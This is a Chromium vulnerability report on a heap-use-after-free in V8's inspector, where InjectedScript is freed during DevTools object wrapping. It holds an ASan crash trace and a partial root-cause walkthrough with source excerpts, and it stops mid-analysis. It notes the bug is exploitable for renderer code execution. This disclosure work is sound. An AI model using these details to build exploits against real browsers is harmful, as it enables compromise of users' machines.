    #49 0x00031c7a5030 in content::RendererMain(content::MainFunctionParams)+0x8b4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c7a5030)
    #50 0x00030f2e5404 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*)+0x42c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e5404)
    #51 0x00030f2e7584 in content::ContentMainRunnerImpl::Run()+0x53c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e7584)
    #52 0x00030f2e30d8 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*)+0x858 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e30d8)
    #53 0x00030f2e35c8 in content::ContentMain(content::ContentMainParams)+0x190 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0xf2e35c8)
    #54 0x000300005cb4 in ChromeMain+0x490 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x5cb4)
    #55 0x00010055cc94 in main+0x254 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/Chromium Helper (Renderer):arm64+0x100000c94)
    #56 0x00019c5b6b94 in start+0x17b8 (/usr/lib/dyld:arm64e+0x6b94)

0x6110000e9948 is located 200 bytes inside of 208-byte region [0x6110000e9880,0x6110000e9950)
freed by thread T0 here:
    #0 0x0001009b9074 in __asan_memmove+0x308c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/libclang_rt.asan_osx_dynamic.dylib:arm64+0x55074)
    #1 0x000306730f68 in std::__Cr::__hash_table<std::__Cr::__hash_value_type<int, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>, std::__Cr::__unordered_map_hasher<int, std::__Cr::pair<int const, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>, std::__Cr::hash<int>, std::__Cr::equal_to<int>>, std::__Cr::__unordered_map_equal<int, std::__Cr::pair<int const, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>, std::__Cr::equal_to<int>, std::__Cr::hash<int>>, std::__Cr::allocator<std::__Cr::pair<int const, std::__Cr::unique_ptr<v8_inspector::InjectedScript, std::__Cr::default_delete<v8_inspector::InjectedScript>>>>>::~__hash_table()+0xe4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x6730f68)
    #2 0x00030672fb4c in v8_inspector::InspectedContext::~InspectedContext()+0x8c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x672fb4c)
    #3 0x0003067d1d60 in std::__Cr::__shared_ptr_pointer<v8_inspector::InspectedContext*, std::__Cr::shared_ptr<v8_inspector::InspectedContext>::__shared_ptr_default_delete<v8_inspector::InspectedContext, v8_inspector::InspectedContext>, std::__Cr::allocator<v8_inspector::InspectedContext>>::__on_zero_shared()+0x2c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67d1d60)
    #4 0x0003067c83ec in v8_inspector::V8InspectorImpl::contextCollected(int, int)+0x310 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67c83ec)
    #5 0x00031e690548 in blink::MainThreadDebugger::ContextWillBeDestroyed(blink::ScriptState*)+0x250 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e690548)
    #6 0x00031c902b44 in blink::LocalWindowProxy::DisposeContext(blink::WindowProxy::Lifecycle, blink::WindowProxy::FrameReuseStatus)+0x5ac (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c902b44)
    #7 0x00031c910b0c in blink::WindowProxyManager::ClearForClose()+0x64 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c910b0c)
    #8 0x00031d9fb040 in blink::Frame::Detach(blink::FrameDetachType)+0x430 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1d9fb040)
    #9 0x00031e0e67ec in blink::HTMLFrameOwnerElement::DisconnectContentFrame()+0x18c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1e0e67ec)
    #10 0x00031dabc674 in blink::ChildFrameDisconnector::DisconnectCollectedFrameOwners()+0x210 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1dabc674)
    #11 0x00032084070c in blink::ContainerNode::WillRemoveChild(blink::Node&)+0x25c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2084070c)
    #12 0x00032083ece8 in blink::ContainerNode::RemoveChild(blink::Node*, blink::ExceptionState&)+0x224 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2083ece8)
    #13 0x0003214497cc in blink::(anonymous namespace)::v8_element::RemoveOperationCallback(v8::FunctionCallbackInfo<v8::Value> const&)+0x190 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x214497cc)
    #14 0x0003f7dd0354  (<unknown module>)
    #15 0x0003f7dce344  (<unknown module>)
    #16 0x0003f7dcb340  (<unknown module>)
    #17 0x0003f7dcb038  (<unknown module>)
    #18 0x0003047705c4 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x1b90 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47705c4)
    #19 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
    #20 0x0003047eca2c in v8::internal::ErrorUtils::FormatStackTrace(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::DirectHandle<v8::internal::Object>)+0x49c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47eca2c)
    #21 0x0003047f4390 in v8::internal::ErrorUtils::GetFormattedStack(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>)+0x43c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47f4390)
    #22 0x000304483480 in v8::internal::Accessors::ErrorStackGetter(v8::FunctionCallbackInfo<v8::Value> const&)+0x124 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x4483480)
    #23 0x000304489e50 in v8::internal::FunctionCallbackArguments::CallOrConstruct(v8::internal::Isolate*, v8::internal::Tagged<v8::internal::FunctionTemplateInfo>, bool)+0x270 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x4489e50)
    #24 0x0003044886d8 in v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::DirectHandle<v8::internal::FunctionTemplateInfo>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>, v8::internal::DirectHandle<v8::internal::HeapObject>)+0x1274 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x44886d8)
    #25 0x000304770220 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x17ec (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x4770220)
    #26 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
    #27 0x0003052c16e4 in v8::internal::Object::GetPropertyWithAccessor(v8::internal::LookupIterator*)+0x6cc (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x52c16e4)
    #28 0x0003052bf89c in v8::internal::Object::GetProperty(v8::internal::LookupIterator*, bool)+0x20c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x52bf89c)
    #29 0x0003056e9588 in v8::internal::Runtime::GetObjectProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, bool*)+0x178 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x56e9588)

previously allocated by thread T0 here:
    #0 0x0001009b8f84 in __asan_memmove+0x2f9c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f84)
    #1 0x0003295d857c in operator new(unsigned long)+0x18 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x295d857c)
    #2 0x0003067303b0 in v8_inspector::InspectedContext::createInjectedScript(int)+0xc0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67303b0)
    #3 0x0003067d5fbc in v8_inspector::V8InspectorSessionImpl::findInjectedScript(int, v8_inspector::InjectedScript*&)+0x174 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67d5fbc)
    #4 0x00030677f8cc in v8_inspector::V8DebuggerAgentImpl::currentCallFrames(std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>>>*)+0x520 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x677f8cc)
    #5 0x000306767c40 in v8_inspector::V8DebuggerAgentImpl::didPause(int, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::debug::ExceptionType, bool, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x14c0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x6767c40)
    #6 0x0003067c7bbc in v8_inspector::V8InspectorImpl::forEachSession(int, std::__Cr::function<void (v8_inspector::V8InspectorSessionImpl*)> const&)+0x488 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x67c7bbc)
    #7 0x00030679d6d0 in v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool)+0x5c4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x679d6d0)
    #8 0x0003046889d4 in v8::internal::Debug::OnDebugBreak(v8::internal::DirectHandle<v8::internal::FixedArray>, v8::internal::StepAction, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x594 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46889d4)
    #9 0x0003046a0cb0 in v8::internal::Debug::HandleDebugBreak(v8::internal::IgnoreBreakMode, v8::base::EnumSet<v8::debug::BreakReason, int>)+0x814 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x46a0cb0)
    #10 0x0003056892e0 in v8::internal::Runtime_HandleDebuggerStatement(int, unsigned long*, v8::internal::Isolate*)+0x9c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x56892e0)
    #11 0x0003f7e7bd48  (<unknown module>)
    #12 0x0003f7f87cb8  (<unknown module>)
    #13 0x0003f7dce344  (<unknown module>)
    #14 0x0003f7dce344  (<unknown module>)
    #15 0x0003f7dcb340  (<unknown module>)
    #16 0x0003f7dcb038  (<unknown module>)
    #17 0x0003047705c4 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&)+0x1b90 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x47705c4)
    #18 0x00030476e9a0 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>)+0x170 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x476e9a0)
    #19 0x0003043b141c in v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*)+0x3a0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x43b141c)
    #20 0x00031c8e5f78 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*)+0x590 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c8e5f78)
    #21 0x000321221b38 in blink::bindings::CallbackInvokeHelper<blink::CallbackFunctionBase, (blink::bindings::CallbackInvokeHelperMode)0, (blink::bindings::CallbackReturnTypeIsPromise)0>::Call(int, v8::Local<v8::Value>*)+0x210 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21221b38)
    #22 0x0003212365c8 in blink::V8Function::Invoke(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x534 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x212365c8)
    #23 0x000321236d58 in blink::V8Function::InvokeAndReportException(blink::bindings::V8ValueOrScriptWrappableAdapter, blink::BasicHeapVector<(blink::internal::HeapCollectionType)1, blink::ScriptValue, 0u> const&)+0x184 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x21236d58)
    #24 0x0003221f2530 in blink::ScheduledAction::Execute(blink::ExecutionContext*)+0x45c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f2530)
    #25 0x0003221f7b28 in blink::DOMTimer::Fired()+0x500 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x221f7b28)
    #26 0x00032044613c in blink::TimerBase::RunInternal()+0xb0 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x2044613c)
    #27 0x00031c85c040 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::TimerBase::*&&)(), blink::TimerBase*>, base::internal::BindState<true, true, false, void (blink::TimerBase::*)(), blink::UnretainedWrapper<blink::TimerBase>>, void ()>::RunOnce(base::internal::BindStateBase*)+0x11c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x1c85c040)
    #28 0x000312cc483c in base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+0x348 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12cc483c)
    #29 0x000312d2c508 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+0x88c (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x12d2c508)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x671716c) in v8_inspector::InjectedScript::wrapObjectMirror(v8_inspector::ValueMirror const&, v8_inspector::String16 const&, v8_inspector::WrapOptions const&, v8::MaybeLocal<v8::Value>, int, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::RemoteObject, std::__Cr::default_delete<v8_inspector::protocol::Runtime::RemoteObject>>*)+0xbfc
Shadow bytes around the buggy address:
  0x6110000e9680: 00 00 00 00 00 00 00 00 00 04 fa fa fa fa fa fa
  0x6110000e9700: fa fa fa fa fa fa f7 fa fd fd fd fd fd fd fd fd
  0x6110000e9780: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x6110000e9800: fd fd fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
  0x6110000e9880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x6110000e9900: fd fd fd fd fd fd fd fd fd[fd]fa fa fa fa fa fa
  0x6110000e9980: fa fa fa fa fa fa f7 fa fd fd fd fd fd fd fd fd
  0x6110000e9a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x6110000e9a80: fd fd fd fd fd fd fd fd fa fa fa fa fa fa f7 fa
  0x6110000e9b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x6110000e9b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==7173==ADDITIONAL INFO

==7173==Note: Please include this section with the ASan report.
Task trace:
    #0 0x0003160de6cc in IPC::ChannelAssociatedGroupController::Accept(mojo::Message*)+0x7c4 (/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Chromium Framework:arm64+0x160de6cc)


Command line: `/Users/alisa/Documents/Code/googlestuff/chrome-asan/Chromium.app/Contents/Frameworks/Chromium Framework.framework/Versions/149.0.7779.0/Helpers/Chromium Helper (Renderer).app/Contents/MacOS/Chromium Helper (Renderer) --type=renderer --user-data-dir=/tmp/chrome-asan --no-sandbox --file-url-path-alias=/gen=/Users/alisa/Documents/Code/googlestuff/chrome-asan/gen --js-flags=--expose-gc --allow-natives-syntax --enable-blink-features=MojoJS,MojoJSTest --lang=en-US --num-raster-threads=4 --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources --enable-main-frame-before-activation --renderer-client-id=67 --time-ticks-at-unix-epoch=-1775925858331855 --launch-time-ticks=488648505843 --shared-files --metrics-shmem-handle=1752395122,r,13200767321502020156,8087822750979582627,2097152 --field-trial-handle=1718379636,r,11048359909989359910,6745670114945284298,262144 --enable-features=WebMachineLearningNeuralNetwork,WebNNCoreMLExplicitGPUOrNPU --disable-features=WebNNCoreML --variations-seed-version --pseudonymization-salt-handle=1935764596,r,13434608299011006442,11257493517387136236,4 --trace-process-track-uuid=3190709049093675377 --enable-logging=stderr --v=1`


MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.

==7173==END OF ADDITIONAL INFO

==7173==ABORTING

CREDIT INFORMATION Externally reported security bugs may appear in Chrome release notes. If this bug is included, how would you like to be credited?
Reporter credit: Alisa Esage (@alisaesage)

The original report as published on the Chromium issue tracker, by Alisa Esage (@alisaesage). Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

This is a Chrome VRP report against V8, the JavaScript engine that ships inside Chrome. The component is the V8 inspector, the layer that implements the Chrome DevTools Protocol (CDP) Runtime domain. When DevTools is open, the inspector wraps JavaScript values into RemoteObjects for the frontend, and it evaluates expressions on behalf of the debugger. Both jobs are handled by InjectedScript, a per-session scripting interface scoped to a single JavaScript context. The inspector tracks each context as an InspectedContext, and the InspectedContext owns every InjectedScript associated with that context.

The bug is a heap-use-after-free in InjectedScript::wrapObjectMirror. The InjectedScript is freed while it is still in use, because its owning InspectedContext is destroyed during a synchronous JavaScript callback that the wrapping code itself triggers. The freed allocation is a renderer-heap object that the report describes as reclaimable from controlled JavaScript and exploitable for renderer code execution with a crafted vtable.

Setup

The report gives the following environment:

  • Chrome Version: 149.0.7779.0 (Developer Build with AddressSanitizer) (arm64)
  • Operating System: macOS Version 15.6 (Build 24G84)
  • Crash type: renderer process

The reproduction needs DevTools open and a page served locally. The report's steps are:

  1. python server.py
  2. Open DevTools in Chrome
  3. Navigate to localhost:8080/poc.html

The expectation stated is an instant crash under ASan (Sad Tab), 100% reliable. The server script itself is not included in the report.

Finding it

The researcher's starting point is the ownership model of InjectedScript. Instances are stored as unique_ptr values in InspectedContext::m_injectedScripts (inspected-context.h:86):

C++
// inspected-context.h:70
class InspectedContext {
  [...]
 private:
  [...]
  std::unordered_map<int, std::unique_ptr<InjectedScript>> m_injectedScripts;  // line 86
  [...]
};

The inspector session obtains a raw pointer to the script through findInjectedScript (v8-inspector-session-impl.cc:229):

C++
// v8-inspector-session-impl.cc:229
Response V8InspectorSessionImpl::findInjectedScript(
    int contextId, InjectedScript*& injectedScript) {
  injectedScript = nullptr;
  std::shared_ptr<InspectedContext> context =       // local shared_ptr
      m_inspector->getContext(m_contextGroupId, contextId);
  if (!context)
    return Response::ServerError("Cannot find context with specified id");
  injectedScript = context->getInjectedScript(m_sessionId);
  if (!injectedScript) {
    injectedScript = context->createInjectedScript(m_sessionId);
    [...]
  }
  return Response::Success();
}  // shared_ptr destroyed here — no owner remains

The shared_ptr<InspectedContext> lives only for the duration of this function. The caller receives a raw InjectedScript* and stores it in the Scope object (injected-script.h:174):

C++
// injected-script.h:78
class InjectedScript final {
  [...]
  class Scope {  // line 154
    [...]
   protected:
    V8InspectorImpl* m_inspector;
    InjectedScript* m_injectedScript;   // raw pointer — no shared_ptr<InspectedContext>
    [...];
  };
  [...];
};

Once findInjectedScript returns, nothing keeps the InspectedContext alive. Because InjectedScript is unique_ptr-owned by InspectedContext, destroying the context frees the InjectedScript with it. The vulnerability window is any wrapping operation that can reach user JavaScript while the raw InjectedScript* is live. wrapObject is one such site (injected-script.cc:610):

C++
// injected-script.cc:610
Response InjectedScript::wrapObject(
    v8::Local<v8::Value> value, const String16& groupName,
    const WrapOptions& wrapOptions,
    v8::MaybeLocal<v8::Value> customPreviewConfig, int maxCustomPreviewDepth,
    std::unique_ptr<protocol::Runtime::RemoteObject>* result) {
  v8::Local<v8::Context> context = m_context->context();  // valid use
  v8::Context::Scope contextScope(context);
  std::unique_ptr<ValueMirror> mirror = ValueMirror::create(context, value);  // ← sync JS entry
  if (!mirror) return Response::InternalError();
  return wrapObjectMirror(*mirror, groupName, wrapOptions, customPreviewConfig,
                          maxCustomPreviewDepth, result);  // ← UAF site
}

The PoC exercises a scenario where DevTools sends Runtime.getProperties while paused in the iframe context. getProperties builds property mirrors for the paused scope's local variables and then calls wrapObjectMirror directly for each (injected-script.cc:450):

C++
// injected-script.cc:440
for (const PropertyMirror& mirror : mirrors) {
  [...]
  if (mirror.value) {
    Response response = wrapObjectMirror(
        *mirror.value, groupName, wrapOptions, v8::MaybeLocal<v8::Value>(),
        kMaxCustomPreviewDepth, &remoteObject);
    [...];
  }
  [...];
}

wrapObjectMirror calls ValueMirror::getProperties to enumerate the object's properties. Inside that loop, each property's value mirror is created via ValueMirror::create (value-mirror.cc:1613):

C++
// value-mirror.cc:1613
if (!descriptor.value.IsEmpty()) {
  valueMirror = ValueMirror::create(context, descriptor.value);  // ← escape point
}

For the local Error variable, descriptor.value is the Error object. ValueMirror::create dispatches to descriptionForError for IsNativeError() values (value-mirror.cc:1807):

C++
